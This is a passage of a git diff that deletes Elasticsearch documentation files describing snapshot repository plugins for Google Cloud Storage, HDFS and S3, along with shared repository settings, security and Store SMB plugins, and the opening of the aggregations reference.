-    statistics are logged in the Google Cloud Platform. Default to `repository-gcs`
-
-`project_id`::
-
-    The Google Cloud project id. This will be automatically inferred from the credentials file but
-    can be specified explicitly. For example, it can be used to switch between projects when the
-    same credentials are usable for both the production and the development projects.
-
-[[repository-gcs-repository]]
-==== Repository Settings
-
-The `gcs` repository type supports a number of settings to customize how data
-is stored in Google Cloud Storage.
-
-These can be specified when creating the repository. For example:
-
-[source,console]
-----
-PUT _snapshot/my_gcs_repository
-{
-  "type": "gcs",
-  "settings": {
-    "bucket": "my_other_bucket",
-    "base_path": "dev"
-  }
-}
-----
-// TEST[skip:we don't have gcs set up while testing this]
-
-The following settings are supported:
-
-`bucket`::
-
-    The name of the bucket to be used for snapshots. (Mandatory)
-
-`client`::
-
-    The name of the client to use to connect to Google Cloud Storage.
-    Defaults to `default`.
-
-`base_path`::
-
-    Specifies the path within bucket to repository data. Defaults to
-    the root of the bucket.
-
-`chunk_size`::
-
-    Big files can be broken down into multiple smaller blobs in the blob store during snapshotting.
-    It is not recommended to change this value from its default unless there is an explicit reason for limiting the
-    size of blobs in the repository. Setting a value lower than the default can result in an increased number of API
-    calls to the Google Cloud Storage Service during snapshot create as well as restore operations compared to using
-    the default value and thus make both operations slower as well as more costly.
-    Specify the chunk size as a value and unit, for example:
-    `10MB`, `5KB`, `500B`. Defaults to the maximum size of a blob in the Google Cloud Storage Service which is `5TB`.
-
-`compress`::
-
-    When set to `true` metadata files are stored in compressed format. This
-    setting doesn't affect index files that are already compressed by default.
-    Defaults to `false`.
-
-include::repository-shared-settings.asciidoc[]
-
-`application_name`::
-
-    deprecated:[6.3.0, "This setting is now defined in the <<repository-gcs-client, client settings>>."]
-    Name used by the client when it uses the Google Cloud Storage service.
-
-[[repository-gcs-bucket-permission]]
-===== Recommended Bucket Permission
-
-The service account used to access the bucket must have the "Writer" access to the bucket:
-
-1. Connect to the https://console.cloud.google.com/[Google Cloud Platform Console].
-2. Select your project.
-3. Go to the https://console.cloud.google.com/storage/browser[Storage Browser].
-4. Select the bucket and "Edit bucket permission".
-5. The service account must be configured as a "User" with "Writer" access.
diff --git a/docs/plugins/repository-hdfs.asciidoc b/docs/plugins/repository-hdfs.asciidoc
deleted file mode 100644
index 2dcc2027177..00000000000
--- a/docs/plugins/repository-hdfs.asciidoc
+++ /dev/null
@@ -1,188 +0,0 @@
-[[repository-hdfs]]
-=== Hadoop HDFS Repository Plugin
-
-The HDFS repository plugin adds support for using HDFS File System as a repository for
-{ref}/modules-snapshots.html[Snapshot/Restore].
-
-:plugin_name: repository-hdfs
-include::install_remove.asciidoc[]
-
-[[repository-hdfs-usage]]
-==== Getting started with HDFS
-
-The HDFS snapshot/restore plugin is built against the latest Apache Hadoop 2.x (currently 2.7.1). If the distro you are using is not protocol
-compatible with Apache Hadoop, consider replacing the Hadoop libraries inside the plugin folder with your own (you might have to adjust the security permissions required).
-
-Even if Hadoop is already installed on the Elasticsearch nodes, for security reasons, the required libraries need to be placed under the plugin folder. Note that in most cases, if the distro is compatible, one simply needs to configure the repository with the appropriate Hadoop configuration files (see below).
-
-Windows Users::
-Using Apache Hadoop on Windows is problematic and thus it is not recommended. For those _really_ wanting to use it, make sure you place the elusive `winutils.exe` under the
-plugin folder and point `HADOOP_HOME` variable to it; this should minimize the amount of permissions Hadoop requires (though one would still have to add some more).
-
-[[repository-hdfs-config]]
-==== Configuration Properties
-
-Once installed, define the configuration for the `hdfs` repository through the
-{ref}/modules-snapshots.html[REST API]:
-
-[source,console]
-----
-PUT _snapshot/my_hdfs_repository
-{
-  "type": "hdfs",
-  "settings": {
-    "uri": "hdfs://namenode:8020/",
-    "path": "elasticsearch/repositories/my_hdfs_repository",
-    "conf.dfs.client.read.shortcircuit": "true"
-  }
-}
-----
-// TEST[skip:we don't have hdfs set up while testing this]
-
-The following settings are supported:
-
-[horizontal]
-`uri`::
-
-    The uri address for hdfs. ex: "hdfs://<host>:<port>/". (Required)
-
-`path`::
-
-    The file path within the filesystem where data is stored/loaded. ex: "path/to/file". (Required)
-
-`load_defaults`::
-
-    Whether to load the default Hadoop configuration or not. (Enabled by default)
-
-`conf.<key>`::
-
-    Inlined configuration parameter to be added to Hadoop configuration. (Optional)
-    Only client oriented properties from the hadoop https://hadoop.apache.org/docs/current/hadoop-project-dist/hadoop-common/core-default.xml[core] and https://hadoop.apache.org/docs/current/hadoop-project-dist/hadoop-hdfs/hdfs-default.xml[hdfs] configuration files will be recognized by the plugin.
-
-`compress`::
-
-    Whether to compress the metadata or not. (Disabled by default)
-
-include::repository-shared-settings.asciidoc[]
-
-`chunk_size`::
-
-    Override the chunk size. (Disabled by default)
-
-`security.principal`::
-
-    Kerberos principal to use when connecting to a secured HDFS cluster.
-    If you are using a service principal for your elasticsearch node, you may
-    use the `_HOST` pattern in the principal name and the plugin will replace
-    the pattern with the hostname of the node at runtime (see
-    link:repository-hdfs-security-runtime[Creating the Secure Repository]).
-
-[[repository-hdfs-availability]]
-[discrete]
-===== A Note on HDFS Availability
-When you initialize a repository, its settings are persisted in the cluster state. When a node comes online, it will
-attempt to initialize all repositories for which it has settings. If your cluster has an HDFS repository configured, then
-all nodes in the cluster must be able to reach HDFS when starting. If not, then the node will fail to initialize the
-repository at start up and the repository will be unusable. If this happens, you will need to remove and re-add the
-repository or restart the offending node.
-
-[[repository-hdfs-security]]
-==== Hadoop Security
-
-The HDFS Repository Plugin integrates seamlessly with Hadoop's authentication model. The following authentication
-methods are supported by the plugin:
-
-[horizontal]
-`simple`::
-
-    Also means "no security" and is enabled by default. Uses information from underlying operating system account
-    running Elasticsearch to inform Hadoop of the name of the current user. Hadoop makes no attempts to verify this
-    information.
-
-`kerberos`::
-
-    Authenticates to Hadoop through the usage of a Kerberos principal and keytab. Interfacing with HDFS clusters
-    secured with Kerberos requires a few additional steps to enable (See <<repository-hdfs-security-keytabs>> and
-    <<repository-hdfs-security-runtime>> for more info)
-
-[[repository-hdfs-security-keytabs]]
-[discrete]
-===== Principals and Keytabs
-Before attempting to connect to a secured HDFS cluster, provision the Kerberos principals and keytabs that the
-Elasticsearch nodes will use for authenticating to Kerberos. For maximum security and to avoid tripping up the Kerberos
-replay protection, you should create a service principal per node, following the pattern of
-`elasticsearch/hostname@REALM`.
-
-WARNING: In some cases, if the same principal is authenticating from multiple clients at once, services may reject
-authentication for those principals under the assumption that they could be replay attacks. If you are running the
-plugin in production with multiple nodes you should be using a unique service principal for each node.
-
-On each Elasticsearch node, place the appropriate keytab file in the node's configuration location under the
-`repository-hdfs` directory using the name `krb5.keytab`:
-
-[source, bash]
-----
-$> cd elasticsearch/config
-$> ls
-elasticsearch.yml  jvm.options        log4j2.properties  repository-hdfs/   scripts/
-$> cd repository-hdfs
-$> ls
-krb5.keytab
-----
-// TEST[skip:this is for demonstration purposes only
-
-NOTE: Make sure you have the correct keytabs! If you are using a service principal per node (like
-`elasticsearch/hostname@REALM`) then each node will need its own unique keytab file for the principal assigned to that
-host!
-
-// Setup at runtime (principal name)
-[[repository-hdfs-security-runtime]]
-[discrete]
-===== Creating the Secure Repository
-Once your keytab files are in place and your cluster is started, creating a secured HDFS repository is simple. Just
-add the name of the principal that you will be authenticating as in the repository settings under the
-`security.principal` option:
-
-[source,console]
-----
-PUT _snapshot/my_hdfs_repository
-{
-  "type": "hdfs",
-  "settings": {
-    "uri": "hdfs://namenode:8020/",
-    "path": "/user/elasticsearch/repositories/my_hdfs_repository",
-    "security.principal": "elasticsearch@REALM"
-  }
-}
-----
-// TEST[skip:we don't have hdfs set up while testing this]
-
-If you are using different service principals for each node, you can use the `_HOST` pattern in your principal
-name. Elasticsearch will automatically replace the pattern with the hostname of the node at runtime:
-
-[source,console]
-----
-PUT _snapshot/my_hdfs_repository
-{
-  "type": "hdfs",
-  "settings": {
-    "uri": "hdfs://namenode:8020/",
-    "path": "/user/elasticsearch/repositories/my_hdfs_repository",
-    "security.principal": "elasticsearch/_HOST@REALM"
-  }
-}
-----
-// TEST[skip:we don't have hdfs set up while testing this]
-
-[[repository-hdfs-security-authorization]]
-[discrete]
-===== Authorization
-Once Elasticsearch is connected and authenticated to HDFS, HDFS will infer a username to use for
-authorizing file access for the client. By default, it picks this username from the primary part of
-the kerberos principal used to authenticate to the service. For example, in the case of a principal
-like `elasticsearch@REALM` or `elasticsearch/hostname@REALM` then the username that HDFS
-extracts for file access checks will be `elasticsearch`.
-
-NOTE: The repository plugin makes no assumptions of what Elasticsearch's principal name is. The main fragment of the
-Kerberos principal is not required to be `elasticsearch`. If you have a principal or service name that works better
-for you or your organization then feel free to use it instead!
diff --git a/docs/plugins/repository-s3.asciidoc b/docs/plugins/repository-s3.asciidoc
deleted file mode 100644
index cd893b948be..00000000000
--- a/docs/plugins/repository-s3.asciidoc
+++ /dev/null
@@ -1,473 +0,0 @@
-[[repository-s3]]
-=== S3 Repository Plugin
-
-The S3 repository plugin adds support for using AWS S3 as a repository for
-{ref}/modules-snapshots.html[Snapshot/Restore].
-
-*If you are looking for a hosted solution of Elasticsearch on AWS, please visit
-https://www.elastic.co/cloud/.*
-
-:plugin_name: repository-s3
-include::install_remove.asciidoc[]
-
-[[repository-s3-usage]]
-==== Getting Started
-
-The plugin provides a repository type named `s3` which may be used when creating
-a repository. The repository defaults to using
-https://docs.aws.amazon.com/AmazonECS/latest/developerguide/task-iam-roles.html[ECS
-IAM Role] or
-https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/iam-roles-for-amazon-ec2.html[EC2
-IAM Role] credentials for authentication. The only mandatory setting is the
-bucket name:
-
-[source,console]
-----
-PUT _snapshot/my_s3_repository
-{
-  "type": "s3",
-  "settings": {
-    "bucket": "my-bucket"
-  }
-}
-----
-// TEST[skip:we don't have s3 setup while testing this]
-
-*bucket:*  The name of the bucket to be used for snapshots. (Mandatory)
-Note that the bucket name can be between 3 and 63 characters long, and can contain only lower-case characters, numbers, periods, and dashes it cannot contain underscores, end with a dash, have consecutive periods, or use dashes adjacent to periods
-
-The bucket naming convention is outlines in AWS here [https://docs.aws.amazon.com/awscloudtrail/latest/userguide/cloudtrail-s3-bucket-naming-requirements.html]
-
-
-
-[[repository-s3-client]]
-==== Client Settings
-
-The client that you use to connect to S3 has a number of settings available.
-The settings have the form `s3.client.CLIENT_NAME.SETTING_NAME`. By default,
-`s3` repositories use a client named `default`, but this can be modified using
-the <<repository-s3-repository,repository setting>> `client`. For example:
-
-[source,console]
-----
-PUT _snapshot/my_s3_repository
-{
-  "type": "s3",
-  "settings": {
-    "bucket": "my-bucket",
-    "client": "my-alternate-client"
-  }
-}
-----
-// TEST[skip:we don't have S3 setup while testing this]
-
-Most client settings can be added to the `elasticsearch.yml` configuration file
-with the exception of the secure settings, which you add to the {es} keystore.
-For more information about creating and updating the {es} keystore, see
-{ref}/secure-settings.html[Secure settings].
-
-For example, if you want to use specific credentials to access S3 then run the
-following commands to add these credentials to the keystore:
-
-[source,sh]
-----
-bin/elasticsearch-keystore add s3.client.default.access_key
-bin/elasticsearch-keystore add s3.client.default.secret_key
-# a session token is optional so the following command may not be needed
-bin/elasticsearch-keystore add s3.client.default.session_token
-----
-
-If instead you want to use the instance role or container role to access S3
-then you should leave these settings unset. You can switch from using specific
-credentials back to the default of using the instance role or container role by
-removing these settings from the keystore as follows:
-
-[source,sh]
-----
-bin/elasticsearch-keystore remove s3.client.default.access_key
-bin/elasticsearch-keystore remove s3.client.default.secret_key
-# a session token is optional so the following command may not be needed
-bin/elasticsearch-keystore remove s3.client.default.session_token
-----
-
-*All* client secure settings of this plugin are
-{ref}/secure-settings.html#reloadable-secure-settings[reloadable]. After you
-reload the settings, the internal `s3` clients, used to transfer the snapshot
-contents, will utilize the latest settings from the keystore. Any existing `s3`
-repositories, as well as any newly created ones, will pick up the new values
-stored in the keystore.
-
-NOTE: In-progress snapshot/restore tasks will not be preempted by a *reload* of
-the client's secure settings. The task will complete using the client as it was
-built when the operation started.
-
-The following list contains the available client settings. Those that must be
-stored in the keystore are marked as "secure" and are *reloadable*; the other
-settings belong in the `elasticsearch.yml` file.
-
-`access_key` ({ref}/secure-settings.html[Secure], {ref}/secure-settings.html#reloadable-secure-settings[reloadable])::
-
-    An S3 access key. If set, the `secret_key` setting must also be specified.
-    If unset, the client will use the instance or container role instead.
-
-`secret_key` ({ref}/secure-settings.html[Secure], {ref}/secure-settings.html#reloadable-secure-settings[reloadable])::
-
-    An S3 secret key. If set, the `access_key` setting must also be specified.
-
-`session_token` ({ref}/secure-settings.html[Secure], {ref}/secure-settings.html#reloadable-secure-settings[reloadable])::
-
-    An S3 session token. If set, the `access_key` and `secret_key` settings
-    must also be specified.
-
-`endpoint`::
-
-    The S3 service endpoint to connect to. This defaults to `s3.amazonaws.com`
-    but the
-    https://docs.aws.amazon.com/general/latest/gr/rande.html#s3_region[AWS
-    documentation] lists alternative S3 endpoints. If you are using an
-    <<repository-s3-compatible-services,S3-compatible service>> then you should
-    set this to the service's endpoint.
-
-`protocol`::
-
-    The protocol to use to connect to S3. Valid values are either `http` or
-    `https`. Defaults to `https`.
-
-`proxy.host`::
-
-    The host name of a proxy to connect to S3 through.
-
-`proxy.port`::
-
-    The port of a proxy to connect to S3 through.
-
-`proxy.username` ({ref}/secure-settings.html[Secure], {ref}/secure-settings.html#reloadable-secure-settings[reloadable])::
-
-    The username to connect to the `proxy.host` with.
-
-`proxy.password` ({ref}/secure-settings.html[Secure], {ref}/secure-settings.html#reloadable-secure-settings[reloadable])::
-
-    The password to connect to the `proxy.host` with.
-
-`read_timeout`::
-
-    The socket timeout for connecting to S3. The value should specify the unit.
-    For example, a value of `5s` specifies a 5 second timeout. The default value
-    is 50 seconds.
-
-`max_retries`::
-
-    The number of retries to use when an S3 request fails. The default value is
-    `3`.
-
-`use_throttle_retries`::
-
-    Whether retries should be throttled (i.e. should back off). Must be `true`
-    or `false`. Defaults to `true`.
-
-`path_style_access`::
-
-   Whether to force the use of the path style access pattern. If `true`, the
-   path style access pattern will be used. If `false`, the access pattern will
-   be automatically determined by the AWS Java SDK (See
-   https://docs.aws.amazon.com/AWSJavaSDK/latest/javadoc/com/amazonaws/services/s3/AmazonS3Builder.html#setPathStyleAccessEnabled-java.lang.Boolean-[AWS
-   documentation] for details). Defaults to `false`.
-
-[[repository-s3-path-style-deprecation]]
-NOTE: In versions `7.0`, `7.1`, `7.2` and `7.3` all bucket operations used the
-https://aws.amazon.com/blogs/aws/amazon-s3-path-deprecation-plan-the-rest-of-the-story/[now-deprecated]
-path style access pattern. If your deployment requires the path style access
-pattern then you should set this setting to `true` when upgrading.
-
-`disable_chunked_encoding`::
-
-    Whether chunked encoding should be disabled or not. If `false`, chunked
-    encoding is enabled and will be used where appropriate. If `true`, chunked
-    encoding is disabled and will not be used, which may mean that snapshot
-    operations consume more resources and take longer to complete. It should
-    only be set to `true` if you are using a storage service that does not
-    support chunked encoding. See the
-    https://docs.aws.amazon.com/AWSJavaSDK/latest/javadoc/com/amazonaws/services/s3/AmazonS3Builder.html#disableChunkedEncoding--[AWS
-    Java SDK documentation] for details. Defaults to `false`.
-
-`region`::
-
-    Allows specifying the signing region to use. Specificing this setting manually should not be necessary for most use cases. Generally,
-    the SDK will correctly guess the signing region to use. It should be considered an expert level setting to support S3-compatible APIs
-    that require https://docs.aws.amazon.com/general/latest/gr/signature-version-4.html[v4 signatures] and use a region other than the
-    default `us-east-1`. Defaults to empty string which means that the SDK will try to automatically determine the correct signing region.
-
-`signer_override`::
-
-    Allows specifying the name of the signature algorithm to use for signing requests by the S3 client. Specifying this setting should not
-    be necessary for most use cases. It should be considered an expert level setting to support S3-compatible APIs that do not support the
-    signing algorithm that the SDK automatically determines for them.
-    See the
-    https://docs.aws.amazon.com/AWSJavaSDK/latest/javadoc/com/amazonaws/ClientConfiguration.html#setSignerOverride-java.lang.String-[AWS
-    Java SDK documentation] for details. Defaults to empty string which means that no signing algorithm override will be used.
-
-[discrete]
-[[repository-s3-compatible-services]]
-===== S3-compatible services
-
-There are a number of storage systems that provide an S3-compatible API, and
-the `repository-s3` plugin allows you to use these systems in place of AWS S3.
-To do so, you should set the `s3.client.CLIENT_NAME.endpoint` setting to the
-system's endpoint. This setting accepts IP addresses and hostnames and may
-include a port. For example, the endpoint may be `172.17.0.2` or
-`172.17.0.2:9000`. You may also need to set `s3.client.CLIENT_NAME.protocol` to
-`http` if the endpoint does not support HTTPS.
-
-https://minio.io[Minio] is an example of a storage system that provides an
-S3-compatible API. The `repository-s3` plugin allows {es} to work with
-Minio-backed repositories as well as repositories stored on AWS S3. Other
-S3-compatible storage systems may also work with {es}, but these are not
-covered by the {es} test suite.
-
-Note that some storage systems claim to be S3-compatible without correctly
-supporting the full S3 API. The `repository-s3` plugin requires full
-compatibility with S3. In particular it must support the same set of API
-endpoints, return the same errors in case of failures, and offer a consistency
-model no weaker than S3's when accessed concurrently by multiple nodes. If you
-wish to use another storage system with the `repository-s3` plugin then you
-will need to work with the supplier of the storage system to address any
-incompatibilities you encounter. Incompatible error codes and consistency
-models may be particularly hard to track down since errors and consistency
-failures are usually rare and hard to reproduce.
-
-[[repository-s3-repository]]
-==== Repository Settings
-
-The `s3` repository type supports a number of settings to customize how data is
-stored in S3. These can be specified when creating the repository. For example:
-
-[source,console]
-----
-PUT _snapshot/my_s3_repository
-{
-  "type": "s3",
-  "settings": {
-    "bucket": "my-bucket",
-    "another_setting": "setting-value"
-  }
-}
-----
-// TEST[skip:we don't have S3 set up while testing this]
-
-The following settings are supported:
-
-`bucket`::
-(Required)
-Name of the S3 bucket to use for snapshots.
-+
-The bucket name must adhere to Amazon's
-https://docs.aws.amazon.com/AmazonS3/latest/dev/BucketRestrictions.html#bucketnamingrules[S3
-bucket naming rules].
-
-`client`::
-
-    The name of the <<repository-s3-client,S3 client>> to use to connect to S3.
-    Defaults to `default`.
-
-`base_path`::
-
-    Specifies the path within bucket to repository data. Defaults to value of
-    `repositories.s3.base_path` or to root directory if not set.  Previously,
-    the base_path could take a leading `/` (forward slash).  However, this has
-    been deprecated and setting the base_path now should omit the leading `/`.
-
-`chunk_size`::
-
-    Big files can be broken down into chunks during snapshotting if needed.
-    Specify the chunk size as a value and unit, for example:
-    `1GB`, `10MB`, `5KB`, `500B`. Defaults to `1GB`.
-
-`compress`::
-
-    When set to `true` metadata files are stored in compressed format. This
-    setting doesn't affect index files that are already compressed by default.
-    Defaults to `false`.
-
-include::repository-shared-settings.asciidoc[]
-
-`server_side_encryption`::
-
-    When set to `true` files are encrypted on server side using AES256
-    algorithm. Defaults to `false`.
-
-`buffer_size`::
-
-    Minimum threshold below which the chunk is uploaded using a single request.
-    Beyond this threshold, the S3 repository will use the
-    https://docs.aws.amazon.com/AmazonS3/latest/dev/uploadobjusingmpu.html[AWS
-    Multipart Upload API] to split the chunk into several parts, each of
-    `buffer_size` length, and to upload each part in its own request. Note that
-    setting a buffer size lower than `5mb` is not allowed since it will prevent
-    the use of the Multipart API and may result in upload errors. It is also not
-    possible to set a buffer size greater than `5gb` as it is the maximum upload
-    size allowed by S3. Defaults to the minimum between `100mb` and `5%` of the
-    heap size.
-
-`canned_acl`::
-
-    The S3 repository supports all
-    https://docs.aws.amazon.com/AmazonS3/latest/dev/acl-overview.html#canned-acl[S3
-    canned ACLs] : `private`, `public-read`, `public-read-write`,
-    `authenticated-read`, `log-delivery-write`, `bucket-owner-read`,
-    `bucket-owner-full-control`. Defaults to `private`.  You could specify a
-    canned ACL using the `canned_acl` setting. When the S3 repository creates
-    buckets and objects, it adds the canned ACL into the buckets and objects.
-
-`storage_class`::
-
-    Sets the S3 storage class for objects stored in the snapshot repository.
-    Values may be `standard`, `reduced_redundancy`, `standard_ia`, `onezone_ia`
-    and `intelligent_tiering`. Defaults to `standard`.
-    Changing this setting on an existing repository only affects the
-    storage class for newly created objects, resulting in a mixed usage of
-    storage classes. Additionally, S3 Lifecycle Policies can be used to manage
-    the storage class of existing objects.  Due to the extra complexity with the
-    Glacier class lifecycle, it is not currently supported by the plugin.  For
-    more information about the different classes, see
-    https://docs.aws.amazon.com/AmazonS3/latest/dev/storage-class-intro.html[AWS
-    Storage Classes Guide]
-
-NOTE: The option of defining client settings in the repository settings as
-documented below is considered deprecated, and will be removed in a future
-version.
-
-In addition to the above settings, you may also specify all non-secure <<repository-s3-client,client>>
-settings in the repository settings.  In this case, the client settings found in
-the repository settings will be merged with those of the named client used by
-the repository.  Conflicts between client and repository settings are resolved
-by the repository settings taking precedence over client settings.
-
-For example:
-
-[source,console]
-----
-PUT _snapshot/my_s3_repository
-{
-  "type": "s3",
-  "settings": {
-    "client": "my-client",
-    "bucket": "my-bucket",
-    "endpoint": "my.s3.endpoint"
-  }
-}
-----
-// TEST[skip:we don't have s3 set up while testing this]
-
-This sets up a repository that uses all client settings from the client
-`my_client_name` except for the `endpoint` that is overridden to
-`my.s3.endpoint` by the repository settings.
-
-[[repository-s3-permissions]]
-===== Recommended S3 Permissions
-
-In order to restrict the Elasticsearch snapshot process to the minimum required
-resources, we recommend using Amazon IAM in conjunction with pre-existing S3
-buckets. Here is an example policy which will allow the snapshot access to an S3
-bucket named "snaps.example.com". This may be configured through the AWS IAM
-console, by creating a Custom Policy, and using a Policy Document similar to
-this (changing snaps.example.com to your bucket name).
-
-[source,js]
-----
-{
-  "Statement": [
-    {
-      "Action": [
-        "s3:ListBucket",
-        "s3:GetBucketLocation",
-        "s3:ListBucketMultipartUploads",
-        "s3:ListBucketVersions"
-      ],
-      "Effect": "Allow",
-      "Resource": [
-        "arn:aws:s3:::snaps.example.com"
-      ]
-    },
-    {
-      "Action": [
-        "s3:GetObject",
-        "s3:PutObject",
-        "s3:DeleteObject",
-        "s3:AbortMultipartUpload",
-        "s3:ListMultipartUploadParts"
-      ],
-      "Effect": "Allow",
-      "Resource": [
-        "arn:aws:s3:::snaps.example.com/*"
-      ]
-    }
-  ],
-  "Version": "2012-10-17"
-}
-----
-// NOTCONSOLE
-
-You may further restrict the permissions by specifying a prefix within the
-bucket, in this example, named "foo".
-
-[source,js]
-----
-{
-  "Statement": [
-    {
-      "Action": [
-        "s3:ListBucket",
-        "s3:GetBucketLocation",
-        "s3:ListBucketMultipartUploads",
-        "s3:ListBucketVersions"
-      ],
-      "Condition": {
-        "StringLike": {
-          "s3:prefix": [
-            "foo/*"
-          ]
-        }
-      },
-      "Effect": "Allow",
-      "Resource": [
-        "arn:aws:s3:::snaps.example.com"
-      ]
-    },
-    {
-      "Action": [
-        "s3:GetObject",
-        "s3:PutObject",
-        "s3:DeleteObject",
-        "s3:AbortMultipartUpload",
-        "s3:ListMultipartUploadParts"
-      ],
-      "Effect": "Allow",
-      "Resource": [
-        "arn:aws:s3:::snaps.example.com/foo/*"
-      ]
-    }
-  ],
-  "Version": "2012-10-17"
-}
-----
-// NOTCONSOLE
-
-The bucket needs to exist to register a repository for snapshots. If you did not
-create the bucket then the repository registration will fail.
-
-[[repository-s3-aws-vpc]]
-[discrete]
-==== AWS VPC Bandwidth Settings
-
-AWS instances resolve S3 endpoints to a public IP. If the Elasticsearch
-instances reside in a private subnet in an AWS VPC then all traffic to S3 will
-go through the VPC's NAT instance. If your VPC's NAT instance is a smaller
-instance size (e.g. a t2.micro) or is handling a high volume of network traffic
-your bandwidth to S3 may be limited by that NAT instance's networking bandwidth
-limitations. Instead we recommend creating a https://docs.aws.amazon.com/vpc/latest/userguide/vpc-endpoints.html[VPC endpoint]
-that enables connecting to S3 in instances that reside in a private subnet in
-an AWS VPC. This will eliminate any limitations imposed by the network
-bandwidth of your VPC's NAT instance.
-
-Instances residing in a public subnet in an AWS VPC will connect to S3 via the
-VPC's internet gateway and not be bandwidth limited by the VPC's NAT instance.
diff --git a/docs/plugins/repository-shared-settings.asciidoc b/docs/plugins/repository-shared-settings.asciidoc
deleted file mode 100644
index 13c2716c52d..00000000000
--- a/docs/plugins/repository-shared-settings.asciidoc
+++ /dev/null
@@ -1,12 +0,0 @@
-`max_restore_bytes_per_sec`::
-
-    Throttles per node restore rate. Defaults to unlimited.
-    Note that restores are also throttled through {ref}/recovery.html[recovery settings].
-
-`max_snapshot_bytes_per_sec`::
-
-    Throttles per node snapshot rate. Defaults to `40mb` per second.
-
-`readonly`::
-
-    Makes repository read-only.  Defaults to `false`.
diff --git a/docs/plugins/repository.asciidoc b/docs/plugins/repository.asciidoc
deleted file mode 100644
index 58da220862b..00000000000
--- a/docs/plugins/repository.asciidoc
+++ /dev/null
@@ -1,44 +0,0 @@
-[[repository]]
-== Snapshot/Restore Repository Plugins
-
-Repository plugins extend the {ref}/modules-snapshots.html[Snapshot/Restore]
-functionality in Elasticsearch by adding repositories backed by the cloud or
-by distributed file systems:
-
-[discrete]
-==== Core repository plugins
-
-The core repository plugins are:
-
-<<repository-s3,S3 Repository>>::
-
-The S3 repository plugin adds support for using S3 as a repository.
-
-<<repository-azure,Azure Repository>>::
-
-The Azure repository plugin adds support for using Azure as a repository.
-
-<<repository-hdfs,HDFS Repository>>::
-
-The Hadoop HDFS Repository plugin adds support for using HDFS as a repository.
-
-<<repository-gcs,Google Cloud Storage Repository>>::
-
-The GCS repository plugin adds support for using Google Cloud Storage service as a repository.
-
-
-[discrete]
-=== Community contributed repository plugins
-
-The following plugin has been contributed by our community:
-
-* https://github.com/BigDataBoutique/elasticsearch-repository-swift[Openstack Swift] (by Wikimedia Foundation and BigData Boutique)
-
-
-include::repository-azure.asciidoc[]
-
-include::repository-s3.asciidoc[]
-
-include::repository-hdfs.asciidoc[]
-
-include::repository-gcs.asciidoc[]
diff --git a/docs/plugins/security.asciidoc b/docs/plugins/security.asciidoc
deleted file mode 100644
index 89927a3d6da..00000000000
--- a/docs/plugins/security.asciidoc
+++ /dev/null
@@ -1,24 +0,0 @@
-[[security]]
-== Security Plugins
-
-Security plugins add a security layer to  Elasticsearch.
-
-[discrete]
-=== Core security plugins
-
-The core security plugins are:
-
-link:/products/x-pack/security[X-Pack]::
-
-X-Pack is the Elastic product that makes it easy for anyone to add
-enterprise-grade security to their Elastic Stack. Designed to address the
-growing security needs of thousands of enterprises using the Elastic Stack
-today, X-Pack provides peace of mind when it comes to protecting your data.
-
-[discrete]
-=== Community contributed security plugins
-
-The following plugins have been contributed by our community:
-
-* https://github.com/sscarduzio/elasticsearch-readonlyrest-plugin[Readonly REST]:
-  High performance access control for Elasticsearch native REST API (by Simone Scarduzio)
diff --git a/docs/plugins/store-smb.asciidoc b/docs/plugins/store-smb.asciidoc
deleted file mode 100644
index 0dcdbb42595..00000000000
--- a/docs/plugins/store-smb.asciidoc
+++ /dev/null
@@ -1,55 +0,0 @@
-[[store-smb]]
-=== Store SMB Plugin
-
-The Store SMB plugin works around for a bug in Windows SMB and Java on windows.
-
-:plugin_name: store-smb
-include::install_remove.asciidoc[]
-
-[[store-smb-usage]]
-==== Working around a bug in Windows SMB and Java on windows
-
-When using a shared file system based on the SMB protocol (like Azure File Service) to store indices, the way Lucene
-open index segment files is with a write only flag. This is the _correct_ way to open the files, as they will only be
-used for writes and allows different FS implementations to optimize for it. Sadly, in windows with SMB, this disables
-the cache manager, causing writes to be slow. This has been described in
-https://issues.apache.org/jira/browse/LUCENE-6176[LUCENE-6176], but it affects each and every Java program out there!.
-This need and must be fixed outside of ES and/or Lucene, either in windows or OpenJDK. For now, we are providing an
-experimental support to open the files with read flag, but this should be considered experimental and the correct way
-to fix it is in OpenJDK or Windows.
-
-The Store SMB plugin provides two storage types optimized for SMB:
-
-`smb_mmap_fs`::
-
-    a SMB specific implementation of the default
-    {ref}/index-modules-store.html#mmapfs[mmap fs]
-
-`smb_simple_fs`::
-
-    a SMB specific implementation of the default
-    {ref}/index-modules-store.html#simplefs[simple fs]
-
-To use one of these specific storage types, you need to install the Store SMB plugin and restart the node.
-Then configure Elasticsearch to set the storage type you want.
-
-This can be configured for all indices by adding this to the `elasticsearch.yml` file:
-
-[source,yaml]
-----
-index.store.type: smb_simple_fs
-----
-
-Note that setting will be applied for newly created indices.
-
-It can also be set on a per-index basis at index creation time:
-
-[source,console]
-----
-PUT my-index-000001
-{
-   "settings": {
-       "index.store.type": "smb_mmap_fs"
-   }
-}
-----
diff --git a/docs/plugins/store.asciidoc b/docs/plugins/store.asciidoc
deleted file mode 100644
index b3d732217a5..00000000000
--- a/docs/plugins/store.asciidoc
+++ /dev/null
@@ -1,17 +0,0 @@
-[[store]]
-== Store Plugins
-
-Store plugins offer alternatives to default Lucene stores.
-
-[discrete]
-=== Core store plugins
-
-The core store plugins are:
-
-<<store-smb,Store SMB>>::
-
-The Store SMB plugin works around for a bug in Windows SMB and Java on windows.
-
-
-include::store-smb.asciidoc[]
-
diff --git a/docs/reference/aggregations.asciidoc b/docs/reference/aggregations.asciidoc
deleted file mode 100644
index 57298e337ee..00000000000
--- a/docs/reference/aggregations.asciidoc
+++ /dev/null
@@ -1,434 +0,0 @@
-[[search-aggregations]]
-= Aggregations
-
-[partintro]
---
-An aggregation summarizes your data as metrics, statistics, or other analytics.
-Aggregations help you answer questions like:
-
-* What's the average load time for my website?
-* Who are my most valuable customers based on transaction volume?
-* What would be considered a large file on my network?
-* How many products are in each product category?
-
-{es} organizes aggregations into three categories:
-
-* <<search-aggregations-metrics,Metric>> aggregations that calculate metrics,
-such as a sum or average, from field values.
-
-* <<search-aggregations-bucket,Bucket>> aggregations that
-group documents into buckets, also called bins, based on field values, ranges,
-or other criteria.
-
-* <<search-aggregations-pipeline,Pipeline>> aggregations that take input from
-other aggregations instead of documents or fields.
-
-[discrete]
-[[run-an-agg]]
-=== Run an aggregation
-
-You can run aggregations as part of a <<search-your-data,search>> by specifying the <<search-search,search API>>'s `aggs` parameter. The
-following search runs  a
-<<search-aggregations-bucket-terms-aggregation,terms aggregation>> on
-`my-field`:
-
-[source,console]
-----
